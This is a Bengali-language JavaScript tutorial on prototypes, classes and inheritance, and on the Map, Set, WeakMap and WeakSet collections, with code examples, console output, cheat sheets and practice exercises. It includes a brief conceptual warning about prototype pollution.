11.32 Class Method কোথায় থাকে?

এই:

11.32 JavaScriptRun
study() {
    console.log("Studying");
}

method সাধারণত প্রতিটি instance-এর নিজের property হিসেবে duplicate হয়ে থাকে না।

এটি:

Student.prototype

এর মাধ্যমে shared থাকে।

তাই:

11.32 JavaScriptRun
console.log(
    Object.getPrototypeOf(student) === Student.prototype
);
CONSOLE OUTPUT
true
11.33 Class এবং Prototype-এর সম্পর্ক
11.33 JavaScriptRun
class Student {
    study() {
        console.log("Studying");
    }
}

Conceptually:

Student │ │ prototype ▼ Student.prototype │ │ study() ▼ student instance

যখন:

11.33 JavaScriptRun
student.study();

চালানো হয়, JavaScript prototype chain-এর মাধ্যমে study() খুঁজে পায়।

11.34 Inheritance with extends

Modern JavaScript-এ inheritance সহজভাবে:

11.34 JavaScriptRun
extends

দিয়ে করা যায়।

11.34 JavaScriptRun
class Person {
    constructor(name) {
        this.name = name;
    }

    sayHello() {
        console.log("Hello, I am " + this.name);
    }
}

class Student extends Person {
    study() {
        console.log(this.name + " is studying");
    }
}

const student = new Student("Ripon");

student.sayHello();
student.study();
CONSOLE OUTPUT
Hello, I am Ripon
Ripon is studying
11.35 এখানে Prototype Chain কী?
student ↓ Student.prototype ↓ Person.prototype ↓ Object.prototype ↓ null

তাই student:

11.35 JavaScriptRun
student.study();

পায় Student.prototype থেকে।

আর:

11.35 JavaScriptRun
student.sayHello();

পায় Person.prototype থেকে।

11.36 super

Parent class-এর constructor বা method ব্যবহার করতে:

11.36 JavaScriptRun
super

ব্যবহার করা হয়।

💡 Example
11.36 JavaScriptRun
class Person {
    constructor(name) {
        this.name = name;
    }

    introduce() {
        console.log("My name is " + this.name);
    }
}

class Student extends Person {
    constructor(name, department) {
        super(name);
        this.department = department;
    }

    study() {
        console.log(this.name + " is studying " + this.department);
    }
}

const student = new Student("Ripon", "CSE");

student.introduce();
student.study();
CONSOLE OUTPUT
My name is Ripon
Ripon is studying CSE
11.37 super() কী করে?

Parent class:

11.37 JavaScriptRun
Person

এর constructor:

11.37 JavaScriptRun
constructor(name) {
    this.name = name;
}

কে call করছে:

11.37 JavaScriptRun
super(name);

অর্থাৎ:

Student ↓ super(name) ↓ Person constructor
11.38 Method Overriding

Child class parent-এর একই method নিজের মতো করে লিখতে পারে।

💡 Example
11.38 JavaScriptRun
class Animal {
    speak() {
        console.log("Animal makes a sound");
    }
}

class Dog extends Animal {
    speak() {
        console.log("Dog barks");
    }
}

const dog = new Dog();

dog.speak();
CONSOLE OUTPUT
Dog barks

Child-এর method priority পায়।

11.39 super.method()

Parent-এর method-ও চাইলে call করা যায়।

11.39 JavaScriptRun
class Animal {
    speak() {
        console.log("Animal makes a sound");
    }
}

class Dog extends Animal {
    speak() {
        super.speak();
        console.log("Dog barks");
    }
}

const dog = new Dog();

dog.speak();
CONSOLE OUTPUT
Animal makes a sound
Dog barks
Part 04 — Meta-Programming: Descriptors, DefineProperty & Getters/Setters (11.40 – 11.54)
11.40 Prototype Pollution সম্পর্কে Basic ধারণা
এটি security-related গুরুত্বপূর্ণ concept।

যদি untrusted user input দিয়ে object prototype modify করার সুযোগ তৈরি হয়, application-এর অন্য object-ও প্রভাবিত হতে পারে।

Conceptually dangerous pattern:

11.40 JavaScriptRun
Object.prototype.isAdmin = true;

এখন:

11.40 JavaScriptRun
const user = {};

console.log(user.isAdmin);
CONSOLE OUTPUT
true

যদিও user-এর মধ্যে আমরা:

11.40 JavaScriptRun
isAdmin

লিখিনি।

কারণ এটি:

Object.prototype

থেকে এসেছে।

⚠️ বাস্তব application-এ এভাবে built-in prototypes modify করা উচিত নয়।
11.41 Object.create(null)

Prototype ছাড়া object তৈরি করা যায়:

11.41 JavaScriptRun
const data = Object.create(null);

data.name = "Ripon";

console.log(data.name);
CONSOLE OUTPUT
Ripon

এখানে:

11.41 JavaScriptRun
Object.getPrototypeOf(data)

এর output:

Text
null

অর্থাৎ prototype chain নেই।

11.42 কেন Object.create(null) ব্যবহার করা হয়?

বিশেষ কিছু dictionary/map-like data structure-এ এটি useful হতে পারে।

11.42 JavaScriptRun
const dictionary = Object.create(null);

dictionary.name = "Ripon";
dictionary.role = "Developer";

এখানে inherited properties নেই।

তবে সাধারণ application data-এর জন্য সাধারণত:

11.42 JavaScriptRun
{}

ব্যবহার করাই সহজ।

11.43 Prototype বনাম Property

ধরো:

11.43 JavaScriptRun
const user = {
    name: "Ripon"
};

এখানে:

Text
name

হলো নিজের property।

কিন্তু:

11.43 JavaScriptRun
user.toString

prototype chain থেকে আসতে পারে।

Mental Model
Own Properties ┌─────────────────────┐ │ name: "Ripon" │ └─────────────────────┘ ↓ Prototype ┌─────────────────────┐ │ Object.prototype │ │ toString() │ │ hasOwnProperty() │ └─────────────────────┘ ↓ null
11.44 Object.getOwnPropertyNames()

Object-এর নিজের property names দেখতে:

11.44 JavaScriptRun
const user = {
    name: "Ripon",
    age: 25
};

console.log(Object.getOwnPropertyNames(user));
CONSOLE OUTPUT
["name", "age"]

এটি prototype-এর properties দেখাবে না।

11.45 Object.getOwnPropertyDescriptors()

আরও বিস্তারিত property information দেখতে:

11.45 JavaScriptRun
const user = {
    name: "Ripon"
};

console.log(
    Object.getOwnPropertyDescriptors(user)
);

এতে property-এর:

Text
value
writable
enumerable
configurable

ইত্যাদি information পাওয়া যায়।

11.46 Property Descriptor

Example:

11.46 JavaScriptRun
const user = {
    name: "Ripon"
};

console.log(
    Object.getOwnPropertyDescriptor(user, "name")
);

Conceptually output:

Text
{
    value: "Ripon",
    writable: true,
    enumerable: true,
    configurable: true
}
এগুলোর অর্থ
PropertyMeaning
valuevalue কী
writablevalue পরিবর্তন করা যাবে কিনা
enumerableloop/Object.keys-এ দেখা যাবে কিনা
configurableproperty delete/descriptor change করা যাবে কিনা
11.47 Object.defineProperty()

Property-এর behavior control করা যায়।

11.47 JavaScriptRun
const user = {};

Object.defineProperty(user, "name", {
    value: "Ripon",
    writable: false
});

console.log(user.name);
CONSOLE OUTPUT
Ripon

এখন:

11.47 JavaScriptRun
user.name = "Rahim";

করলেও সাধারণ strict-mode environment-এ error হতে পারে, আর non-strict mode-এ assignment silently fail করতে পারে।

11.48 Getter

Object property read করার সময় function চালানো যায়।

11.48 JavaScriptRun
const user = {
    firstName: "Shariar",
    lastName: "Ripon",

    get fullName() {
        return this.firstName + " " + this.lastName;
    }
};

console.log(user.fullName);
CONSOLE OUTPUT
Shariar Ripon

খেয়াল করো:

11.48 JavaScriptRun
user.fullName

লিখেছি।

11.48 JavaScriptRun
user.fullName()

লিখিনি।

কারণ এটি getter।

11.49 Setter

Property set করার সময় function চালানো যায়।

11.49 JavaScriptRun
const user = {
    name: "Ripon",

    set username(value) {
        this.name = value;
    }
};

user.username = "Rahim";

console.log(user.name);
CONSOLE OUTPUT
Rahim
11.50 Getter + Setter Real-Life Example
11.50 JavaScriptRun
const account = {
    _balance: 1000,

    get balance() {
        return this._balance;
    },

    set balance(amount) {
        if (amount >= 0) {
            this._balance = amount;
        }
    }
};

console.log(account.balance);

account.balance = 5000;

console.log(account.balance);
CONSOLE OUTPUT
1000
5000

এখানে setter-এর মাধ্যমে validation করা হয়েছে।

11.51 Prototype বনাম Class
বিষয়PrototypeClass
JavaScript-এর মূল object modelPrototype-এর উপর syntax
Syntaxতুলনামূলক complexসহজ
InheritanceObject.create() ইত্যাদিextends
ConstructorFunctionconstructor()
Method.prototypeclass body
Beginner-friendlyকমবেশি
Modern codeকম directবেশি ব্যবহৃত
🔥 মনে রাখবে:
JavaScript class হলো prototype-based inheritance-এর উপর তৈরি cleaner syntax।
11.52 একটি Complete Example

এবার সব একসাথে দেখি।

11.52 JavaScriptRun
class Person {
    constructor(name) {
        this.name = name;
    }

    introduce() {
        console.log("My name is " + this.name);
    }
}

class Student extends Person {
    constructor(name, department, id) {
        super(name);

        this.department = department;
        this.id = id;
    }

    study() {
        console.log(
            this.name +
            " is studying " +
            this.department
        );
    }
}

const student = new Student(
    "Ripon",
    "CSE",
    "23105101019"
);

student.introduce();
student.study();

console.log(student instanceof Student);
console.log(student instanceof Person);
console.log(student instanceof Object);
CONSOLE OUTPUT
My name is Ripon
Ripon is studying CSE
true
true
true
Prototype Chain
student ↓ Student.prototype ↓ Person.prototype ↓ Object.prototype ↓ null
11.53 Real-Life Web Development Example

ধরো একটি university system-এ:

Person ├── Student └── Teacher

তাহলে:

11.53 JavaScriptRun
class Person {
    constructor(name) {
        this.name = name;
    }

    login() {
        console.log(this.name + " logged in");
    }
}

class Student extends Person {
    study() {
        console.log(this.name + " is studying");
    }
}

class Teacher extends Person {
    teach() {
        console.log(this.name + " is teaching");
    }
}

const student = new Student("Ripon");
const teacher = new Teacher("Rahman");

student.login();
student.study();

teacher.login();
teacher.teach();
CONSOLE OUTPUT
Ripon logged in
Ripon is studying
Rahman logged in
Rahman is teaching

এখানে common functionality:

Text
login()

Person থেকে এসেছে।

আর specific functionality:

Text
study()
teach()

নিজ নিজ child class-এ আছে।

11.54 Prototype সম্পর্কে সবচেয়ে গুরুত্বপূর্ণ Concept

একবার এই diagram বুঝে ফেললে অনেক কিছু পরিষ্কার হয়ে যাবে:

Object │ ▼ Object.prototype │ ▼ Person │ ▼ Person.prototype │ ▼ Student │ ▼ Student.prototype │ ▼ student

আর actual instance lookup:

student ↓ Student.prototype ↓ Person.prototype ↓ Object.prototype ↓ null
Part 05 — Must Know, Quick Cheat Sheet, Practice Lab & Summary
MUST KNOW 🔥 Chapter 11 — Must Know

এই Chapter থেকে অবশ্যই জানতে হবে:

1. Prototype
JavaScriptRun
Object.getPrototypeOf(obj);
2. Prototype Chain
object ↓ prototype ↓ prototype ↓ null
3. Own vs Inherited Property
JavaScriptRun
obj.hasOwnProperty("name");
4. in
JavaScriptRun
"name" in obj;
5. Object.create()
JavaScriptRun
const child = Object.create(parent);
6. Constructor Function
JavaScriptRun
function Student(name) {
    this.name = name;
}
7. new
JavaScriptRun
const student = new Student("Ripon");
8. Constructor Prototype
JavaScriptRun
Student.prototype
9. Prototype Method
JavaScriptRun
Student.prototype.study = function() {};
10. instanceof
JavaScriptRun
student instanceof Student;
11. Class
JavaScriptRun
class Student {}
12. extends
JavaScriptRun
class Student extends Person {}
13. super
JavaScriptRun
super(name);
14. Method Overriding
JavaScriptRun
speak() {}

Child class একই method redefine করতে পারে।

CHEAT SHEET 🧠 Quick Cheat Sheet
JavaScriptRun
// Prototype দেখা
Object.getPrototypeOf(obj);

// Prototype সেট করা
Object.setPrototypeOf(obj, prototype);

// Prototype দিয়ে object তৈরি
Object.create(prototype);

// Own property
obj.hasOwnProperty("name");

// Own + inherited property
"name" in obj;

// Constructor
function Student(name) {
    this.name = name;
}

// Constructor prototype
Student.prototype;

// Prototype method
Student.prototype.study = function() {};

// Create instance
const s = new Student("Ripon");

// Instance check
s instanceof Student;

// Modern inheritance
class Student extends Person {}

// Parent constructor
super(name);

// Parent method
super.method();
PRACTICE LAB 📝 Practice Set — Chapter 11

নিজে হাতে এগুলো solve করার চেষ্টা করো।

Practice 1

একটি:

JavaScriptRun
Person

constructor তৈরি করো।

Properties:

Text
name
age

Practice 2

Person.prototype-এ:

Text
introduce()

method তৈরি করো।

Text
My name is Ripon

Practice 3

Student নামে আরেকটি constructor তৈরি করো এবং Person থেকে inheritance করাও।

Student-এর property:

Text
department

Practice 4

Check করো:

JavaScriptRun
student instanceof Student
student instanceof Person
student instanceof Object

তিনটির output কী হবে?

Practice 5

এই code-এর prototype chain বের করো:

JavaScriptRun
class Animal {}

class Dog extends Animal {}

const dog = new Dog();

Expected structure:

dog ↓ ? ↓ ? ↓ ? ↓ null
SUMMARY 🎯 Chapter 11 Final Summary — Object Prototype Model
আজকের সবচেয়ে গুরুত্বপূর্ণ ধারণা হলো:
JavaScript Object ↓ Prototype ↓ Prototype Chain ↓ Inheritance ↓ Constructor Function ↓ new ↓ Class ↓ extends ↓ super
সবচেয়ে গুরুত্বপূর্ণ mental model:
const student = new Student();

এরপর JavaScript কোনো method খুঁজলে roughly:

student ↓ Student.prototype ↓ Parent.prototype ↓ Object.prototype ↓ null

এই Prototype Chain-টাই JavaScript-এর object system-এর মূল ভিত্তি। class ব্যবহার করলেও ভিতরের ধারণাটি prototype-based।

NEXT CHAPTER 🚀 Chapter 12 Preview — Advanced Collections

Chapter 12-এ এরপর আমরা Map, Set, WeakMap, WeakSet — JavaScript-এর Advanced Collections শিখতে পারি।

Chapter 12
↑ Index
Map, Set, WeakMap & WeakSet — আধুনিক কালেকশন ডাটা স্ট্রাকচার
Total Sections
60 Modules + Practice
Curriculum Part
Part 06 — Advanced Collections & Memory Architecture
Core Mechanics
Map, Set, WeakMap, WeakSet & Memory Models
Reference Standard
ECMAScript 2026 / V8 Runtime

Advanced Collections: Map, Set, WeakMap & WeakSet

Chapter 11-এ আমরা Prototype, Prototype Chain, Constructor, Class ও Inheritance শিখেছি। এবার JavaScript-এর এমন কিছু data structure শিখব যেগুলো real-life application-এ অনেক কাজে লাগে:

Map  →  Set  →  WeakMap  →  WeakSet

বিশেষ করে Map এবং Set খুব ভালোভাবে শেখা জরুরি। 🔥

Part 01 — Map: Deep Dive & Practical Applications (12.1 – 12.26)
12.1 Collection কী?

Collection মানে হলো:

একসাথে অনেকগুলো data সুন্দরভাবে সংরক্ষণ করার structure।

আমরা আগে Array এবং Object শিখেছি।

যেমন:

12.1 JavaScriptRun
const students = ["Ripon", "Rahim", "Karim"];

এখানে Array ব্যবহার করেছি।

আবার:

12.1 JavaScriptRun
const student = {
    name: "Ripon",
    department: "CSE"
};

এখানে Object ব্যবহার করেছি।

কিন্তু কিছু ক্ষেত্রে Object/Array-এর চেয়ে Map বা Set বেশি সুবিধাজনক।

12.2 Map কী?

Map হলো এমন একটি collection যেখানে:

key → value

pair হিসেবে data রাখা হয়।

সহজভাবে:
Map key value --------------------- name → Ripon age → 25 dept → CSE

Object-এর মতো মনে হচ্ছে, কিন্তু Map অনেক বেশি flexible।

12.3 Map তৈরি করা
12.3 JavaScriptRun
const user = new Map();

console.log(user);
Map(0) {}
12.4 Map-এ Data যোগ করা — set()

Map-এ data যোগ করতে:

12.4 JavaScriptRun
set()

ব্যবহার করা হয়।

12.4 JavaScriptRun
const user = new Map();

user.set("name", "Ripon");
user.set("age", 25);
user.set("department", "CSE");

console.log(user);
Map(3) { "name" => "Ripon", "age" => 25, "department" => "CSE" }
12.5 Map থেকে Data নেওয়া — get()
12.5 JavaScriptRun
const user = new Map();

user.set("name", "Ripon");
user.set("age", 25);

console.log(user.get("name"));
console.log(user.get("age"));
CONSOLE OUTPUT
Ripon
25
📌 মনে রাখো:
set() → data রাখে get() → data বের করে
12.6 Map-এ Key না থাকলে
12.6 JavaScriptRun
const user = new Map();

user.set("name", "Ripon");

console.log(user.get("age"));
CONSOLE OUTPUT
undefined

কারণ:

Text
age

key নেই।

12.7 has() — Key আছে কিনা
12.7 JavaScriptRun
const user = new Map();

user.set("name", "Ripon");

console.log(user.has("name"));
console.log(user.has("age"));
CONSOLE OUTPUT
true
false
⚙️ Syntax:
12.7 JavaScriptRun
map.has(key);
12.8 delete() — Data Remove করা
12.8 JavaScriptRun
const user = new Map();

user.set("name", "Ripon");
user.set("age", 25);

user.delete("age");

console.log(user);
Map(1) { "name" => "Ripon" }
12.9 clear() — সব Data Remove
12.9 JavaScriptRun
const user = new Map();

user.set("name", "Ripon");
user.set("age", 25);

user.clear();

console.log(user);
Map(0) {}
12.10 size — কতগুলো Item আছে
12.10 JavaScriptRun
const user = new Map();

user.set("name", "Ripon");
user.set("age", 25);
user.set("department", "CSE");

console.log(user.size);
CONSOLE OUTPUT
3

খেয়াল করো:

12.10 JavaScriptRun
map.size

এখানে () নেই।

12.11 Map-এর Basic Methods
Methodকাজ
set()Data যোগ করে
get()Data বের করে
has()Key আছে কিনা দেখে
delete()নির্দিষ্ট item remove করে
clear()সব item remove করে
sizeমোট item সংখ্যা
12.12 Map-এর Key শুধু String হতে হবে না

এটাই Map-এর বড় সুবিধাগুলোর একটি।

Object-এ সাধারণত property key string বা symbol-based হয়।

কিন্তু Map-এ key হিসেবে ব্যবহার করা যায়:

Text
String
Number
Boolean
Object
Array
Function
Symbol

ইত্যাদি।

12.13 Number Key
12.13 JavaScriptRun
const students = new Map();

students.set(101, "Ripon");
students.set(102, "Rahim");

console.log(students.get(101));
CONSOLE OUTPUT
Ripon
12.14 Boolean Key
12.14 JavaScriptRun
const data = new Map();

data.set(true, "Logged In");
data.set(false, "Logged Out");

console.log(data.get(true));
CONSOLE OUTPUT
Logged In
12.15 Object as Map Key
🔥 খুব গুরুত্বপূর্ণ।
12.15 JavaScriptRun
const user1 = {
    name: "Ripon"
};

const user2 = {
    name: "Rahim"
};

const scores = new Map();

scores.set(user1, 95);
scores.set(user2, 88);

console.log(scores.get(user1));
console.log(scores.get(user2));
CONSOLE OUTPUT
95
88

এখানে object-গুলো নিজেরাই key।

12.16 Array as Map Key
12.16 JavaScriptRun
const map = new Map();

const numbers = [1, 2, 3];

map.set(numbers, "Numbers Array");

console.log(map.get(numbers));
CONSOLE OUTPUT
Numbers Array
12.17 Function as Map Key
12.17 JavaScriptRun
function greet() {
    console.log("Hello");
}

const map = new Map();

map.set(greet, "Greeting Function");

console.log(map.get(greet));
CONSOLE OUTPUT
Greeting Function
12.18 Map Constructor দিয়ে সরাসরি Data

Map তৈরি করার সময় initial data দেওয়া যায়।

12.18 JavaScriptRun
const user = new Map([
    ["name", "Ripon"],
    ["age", 25],
    ["department", "CSE"]
]);

console.log(user.get("name"));
CONSOLE OUTPUT
Ripon
12.19 Map-এর উপর Loop

Map-এর সবচেয়ে common way:

12.19 JavaScriptRun
for...of
💡 Example
12.19 JavaScriptRun
const user = new Map([
    ["name", "Ripon"],
    ["age", 25],
    ["department", "CSE"]
]);

for (const [key, value] of user) {
    console.log(key, value);
}
CONSOLE OUTPUT
name Ripon
age 25
department CSE
12.20 keys()

শুধু keys দেখতে:

12.20 JavaScriptRun
const user = new Map([
    ["name", "Ripon"],
    ["age", 25],
    ["department", "CSE"]
]);

for (const key of user.keys()) {
    console.log(key);
}
CONSOLE OUTPUT
name
age
department
12.21 values()

শুধু values:

12.21 JavaScriptRun
for (const value of user.values()) {
    console.log(value);
}
CONSOLE OUTPUT
Ripon
25
CSE
12.22 entries()

Key + value pair:

12.22 JavaScriptRun
for (const entry of user.entries()) {
    console.log(entry);
}
CONSOLE OUTPUT
["name", "Ripon"]
["age", 25]
["department", "CSE"]
12.23 Map Destructuring

এভাবে সবচেয়ে সুন্দর:

12.23 JavaScriptRun
for (const [key, value] of user) {
    console.log(`${key}: ${value}`);
}
CONSOLE OUTPUT
name: Ripon
age: 25
department: CSE
12.24 Map-এর Real-Life Example — Student Marks

ধরো Student ID দিয়ে marks store করব।

12.24 JavaScriptRun
const marks = new Map();

marks.set("CSE101", 85);
marks.set("CSE102", 90);
marks.set("CSE103", 78);

console.log(marks.get("CSE102"));
CONSOLE OUTPUT
90

এখানে:

Student ID → Marks
12.25 Map-এর Real-Life Example — Product Price
12.25 JavaScriptRun
const products = new Map();

products.set("Laptop", 75000);
products.set("Phone", 35000);
products.set("Keyboard", 2500);

console.log(products.get("Laptop"));
CONSOLE OUTPUT
75000
12.26 Map ব্যবহার করে Frequency Counter
এটি খুব গুরুত্বপূর্ণ এবং interview-এও কাজে লাগে।

ধরো:

12.26 JavaScriptRun
const fruits = [
    "apple",
    "banana",
    "apple",
    "orange",
    "banana",
    "apple"
];

আমরা count করতে চাই।

12.26 JavaScriptRun
const count = new Map();

for (const fruit of fruits) {
    count.set(
        fruit,
        (count.get(fruit) || 0) + 1
    );
}

console.log(count);
Map(3) { "apple" => 3, "banana" => 2, "orange" => 1 }

🔥 এই pattern অনেক useful:

CONSOLE OUTPUT
map.set(
    key,
    (map.get(key) || 0) + 1
);
Part 02 — Set: Unique Collections & Deduplication (12.27 – 12.44)
12.27 Set কী?

এখন আসি Set-এ।

Set হলো এমন একটি collection যেখানে duplicate value রাখা হয় না।
💡 Example:
12.27 JavaScriptRun
const numbers = new Set();

numbers.add(10);
numbers.add(20);
numbers.add(10);

console.log(numbers);
Set(2) { 10, 20 }

দুইবার 10 দেওয়া হলেও একবারই আছে।

12.28 Set তৈরি করা
12.28 JavaScriptRun
const numbers = new Set();

console.log(numbers);
Set(0) {}
12.29 add()

Set-এ data যোগ করতে:

12.29 JavaScriptRun
numbers.add(10);
numbers.add(20);
numbers.add(30);
12.30 Duplicate Data
12.30 JavaScriptRun
const numbers = new Set();

numbers.add(10);
numbers.add(10);
numbers.add(10);

console.log(numbers.size);
CONSOLE OUTPUT
1
12.31 has()
12.31 JavaScriptRun
const numbers = new Set([10, 20, 30]);

console.log(numbers.has(20));
console.log(numbers.has(50));
CONSOLE OUTPUT
true
false
12.32 delete()
12.32 JavaScriptRun
const numbers = new Set([10, 20, 30]);

numbers.delete(20);

console.log(numbers);
Set(2) { 10, 30 }
12.33 clear()
12.33 JavaScriptRun
const numbers = new Set([10, 20, 30]);

numbers.clear();

console.log(numbers);
Set(0) {}
12.34 size
12.34 JavaScriptRun
const numbers = new Set([10, 20, 30]);

console.log(numbers.size);
CONSOLE OUTPUT
3
12.35 Set Constructor দিয়ে Array
12.35 JavaScriptRun
const numbers = new Set([10, 20, 30, 40]);

console.log(numbers);
Set(4) { 10, 20, 30, 40 }
12.36 Array থেকে Duplicate Remove

🔥 Set-এর সবচেয়ে common practical use।

ধরো:

12.36 JavaScriptRun
const numbers = [
    10,
    20,
    10,
    30,
    20,
    40
];

Duplicate remove:

12.36 JavaScriptRun
const uniqueNumbers = [...new Set(numbers)];

console.log(uniqueNumbers);
CONSOLE OUTPUT
[10, 20, 30, 40]
12.37 Real-Life Example — Unique Skills
12.37 JavaScriptRun
const skills = [
    "HTML",
    "CSS",
    "JavaScript",
    "React",
    "JavaScript",
    "Node.js",
    "React"
];

const uniqueSkills = [...new Set(skills)];

console.log(uniqueSkills);
CONSOLE OUTPUT
[
    "HTML",
    "CSS",
    "JavaScript",
    "React",
    "Node.js"
]

এটা real-life portfolio বা form data cleaning-এ কাজে লাগতে পারে।

12.38 Set-এর উপর Loop
12.38 JavaScriptRun
const skills = new Set([
    "HTML",
    "CSS",
    "JavaScript"
]);

for (const skill of skills) {
    console.log(skill);
}
CONSOLE OUTPUT
HTML
CSS
JavaScript
12.39 Set-এর keys(), values(), entries()

Set-এর ক্ষেত্রে:

12.39 JavaScriptRun
set.keys()
set.values()
set.entries()

আছে।

💡 Example
12.39 JavaScriptRun
const numbers = new Set([10, 20, 30]);

console.log([...numbers.keys()]);
console.log([...numbers.values()]);
console.log([...numbers.entries()]);
CONSOLE OUTPUT
[10, 20, 30]

[10, 20, 30]

[
    [10, 10],
    [20, 20],
    [30, 30]
]

Set-এ key এবং value একই।

12.40 Set কি Object-এর মতো?

না।

Object
12.40 JavaScriptRun
const user = {
    name: "Ripon",
    age: 25
};

Key-value pair:

key → value
Set
12.40 JavaScriptRun
const skills = new Set([
    "HTML",
    "CSS",
    "JS"
]);

শুধু unique values:

Text
value
value
value
12.41 Map বনাম Object
খুব গুরুত্বপূর্ণ comparison।
বিষয়ObjectMap
Key-value
Key typeString/Symbolযেকোনো value
sizeসরাসরি নেই
set()
get()
has()আলাদা methods
Iterationতুলনামূলক less directসহজ
Object keyspecial handlingসরাসরি
Structured dataখুব ভালোভালো
Dictionary-like dataভালোখুব ভালো
12.42 কখন Object ব্যবহার করব?

যখন data-এর structure fixed বা JSON/API-like হয়:

12.42 JavaScriptRun
const user = {
    name: "Ripon",
    email: "ripon@example.com",
    department: "CSE"
};

এখানে Object খুব natural।

12.43 কখন Map ব্যবহার করব?

যখন:

  • Dynamic keys আছে
  • Key হিসেবে object/array/function লাগবে
  • Frequent add/remove দরকার
  • Size জানতে হবে
  • Key-value collection নিয়ে বেশি কাজ করতে হবে

তখন Map ভালো choice হতে পারে।

12.44 Set বনাম Array
বিষয়ArraySet
Duplicate
Index
length
size
push()
add()
Unique valuesনিজে handle করতে হয়Built-in
Part 03 — WeakMap & WeakSet: Garbage Collection & Memory Management (12.45 – 12.55)
12.45 WeakMap কী?

এখন advanced part।

WeakMap দেখতে Map-এর মতো, কিন্তু এর key-এর ক্ষেত্রে গুরুত্বপূর্ণ restriction আছে:
WeakMap-এর key অবশ্যই object বা non-registered Symbol হতে হবে।

সবচেয়ে সহজভাবে object key দিয়ে example দেখি।

12.45 JavaScriptRun
const weakMap = new WeakMap();

const user = {
    name: "Ripon"
};

weakMap.set(user, "Private Data");

console.log(weakMap.get(user));
CONSOLE OUTPUT
Private Data
12.46 WeakMap-এ String Key দেওয়া যাবে?
12.46 JavaScriptRun
const weakMap = new WeakMap();

weakMap.set("name", "Ripon");

এটি কাজ করবে না।

কারণ:

WeakMap key → Object / non-registered Symbol
12.47 WeakMap-এর Basic Methods

WeakMap-এ:

set() get() has() delete()

আছে।

কিন্তু Map-এর মতো:

size keys() values() entries() clear()

নেই।

12.48 WeakMap কেন "Weak"?

এখানে memory management-এর ধারণা আসে।

ধরো:

12.48 JavaScriptRun
let user = {
    name: "Ripon"
};

const weakMap = new WeakMap();

weakMap.set(user, "Private Data");

এখন user object-এর আর কোনো strong reference না থাকলে garbage collector ভবিষ্যতে object-টিকে memory থেকে remove করতে পারে।

WeakMap সেই object-কে জোর করে memory-তে ধরে রাখে না।

এজন্য:

WeakMap = weak reference behavior
12.49 Garbage Collection-এর Basic Idea

JavaScript automatically unused objects-এর memory reclaim করতে পারে।

ধরো:

12.49 JavaScriptRun
let user = {
    name: "Ripon"
};

তারপর:

12.49 JavaScriptRun
user = null;

যদি object-টির আর কোনো reachable reference না থাকে, garbage collector ভবিষ্যতে সেটিকে remove করতে পারে।

এটি JavaScript-এর automatic memory management-এর অংশ।

12.50 WeakMap Real-Life Use

WeakMap ব্যবহার করা যায় object-এর সাথে extra/private metadata রাখার ক্ষেত্রে।

12.50 JavaScriptRun
const privateData = new WeakMap();

class User {
    constructor(name, password) {
        this.name = name;

        privateData.set(this, {
            password: password
        });
    }

    checkPassword(password) {
        return privateData.get(this).password === password;
    }
}

const user = new User(
    "Ripon",
    "12345"
);

console.log(user.checkPassword("12345"));
CONSOLE OUTPUT
true

এখানে password সরাসরি:

12.50 JavaScriptRun
user.password

হিসেবে রাখা হয়নি।

12.51 WeakSet কী?

WeakSet হলো Set-এর weak-reference version।

এখানে সাধারণত object রাখা হয়।

12.51 JavaScriptRun
const weakSet = new WeakSet();

const user1 = {
    name: "Ripon"
};

const user2 = {
    name: "Rahim"
};

weakSet.add(user1);
weakSet.add(user2);

console.log(weakSet.has(user1));
CONSOLE OUTPUT
true
12.52 WeakSet-এ Primitive রাখা যাবে?

না।

12.52 JavaScriptRun
const weakSet = new WeakSet();

weakSet.add(10);

এটি কাজ করবে না।

WeakSet-এ object বা non-registered Symbol ধরনের value ব্যবহার করা যায়।

12.53 WeakSet-এর Methods

মূল methods:

Text
add()
has()
delete()

WeakSet-এ:

size keys() values() entries() clear()

নেই।

12.54 WeakMap বনাম Map
বিষয়MapWeakMap
Keyযেকোনো valueObject / non-registered Symbol
get()
set()
has()
delete()
size
Iteration
Garbage collection friendlyসাধারণবেশি
Object metadataভালোখুব useful
12.55 WeakSet বনাম Set
বিষয়SetWeakSet
Valuesযেকোনো valueObject / non-registered Symbol
Duplicate
add()
has()
delete()
size
Iteration
GC-friendlyসাধারণবেশি
Part 04 — Integrated Real-World Project & Mental Model (12.56 – 12.60)
12.56 Map + Set Practical Project

এবার একটা ছোট বাস্তব example করি।

ধরো আমরা একটা online course platform বানাচ্ছি।

একজন user কোন কোন course enroll করেছে তা রাখতে চাই।

12.56 JavaScriptRun
const enrolledCourses = new Map();

const user1 = {
    id: 101,
    name: "Ripon"
};

enrolledCourses.set(user1, new Set([
    "JavaScript",
    "React",
    "Node.js"
]));

console.log(
    enrolledCourses.get(user1)
);
Set(3) { "JavaScript", "React", "Node.js" }

এখানে:

Map ↓ User → Courses Set ↓ Unique Courses
12.57 User-এর Course Check
12.57 JavaScriptRun
const courses = enrolledCourses.get(user1);

console.log(courses.has("React"));
console.log(courses.has("Python"));
CONSOLE OUTPUT
true
false
12.58 Course Add করা
12.58 JavaScriptRun
courses.add("Python");

console.log(courses);
Set(4) { "JavaScript", "React", "Node.js", "Python" }
12.59 Duplicate Course Add
12.59 JavaScriptRun
courses.add("React");

console.log(courses.size);
CONSOLE OUTPUT
4

কারণ React আগেই ছিল।

12.60 Map + Set Mental Model

এটা মনে রাখার মতো:

Map │ ▼ User → Set │ ┌─────────┼─────────┐ ▼ ▼ ▼ JavaScript React Node.js

এ ধরনের nested data structure real application-এ ব্যবহার করা যায়।

Part 05 — Must Know, Cheat Sheet, Decision Guide, Practice Lab & Summary
MUST KNOW 🔥 12.61 Must Know

Chapter 12 থেকে অবশ্যই জানতে হবে:

Map
JavaScriptRun
const map = new Map();

map.set("name", "Ripon");
map.get("name");
map.has("name");
map.delete("name");
map.clear();

map.size;
Set
JavaScriptRun
const set = new Set();

set.add("JavaScript");
set.has("JavaScript");
set.delete("JavaScript");
set.clear();

set.size;
Duplicate Remove
JavaScriptRun
const unique = [...new Set(array)];
WeakMap
JavaScriptRun
const weakMap = new WeakMap();

weakMap.set(object, value);
weakMap.get(object);
weakMap.has(object);
weakMap.delete(object);
WeakSet
JavaScriptRun
const weakSet = new WeakSet();

weakSet.add(object);
weakSet.has(object);
weakSet.delete(object);
CHEAT SHEET 🧠 Quick Cheat Sheet
Object → Key-value data → সাধারণ structured data Map → Key-value data → Any type of key → Dynamic collection Set → Unique values → Duplicate automatically removed WeakMap → Object/non-registered Symbol keys → Weak reference behavior → No iteration/size WeakSet → Object/non-registered Symbol values → Weak reference behavior → No iteration/size
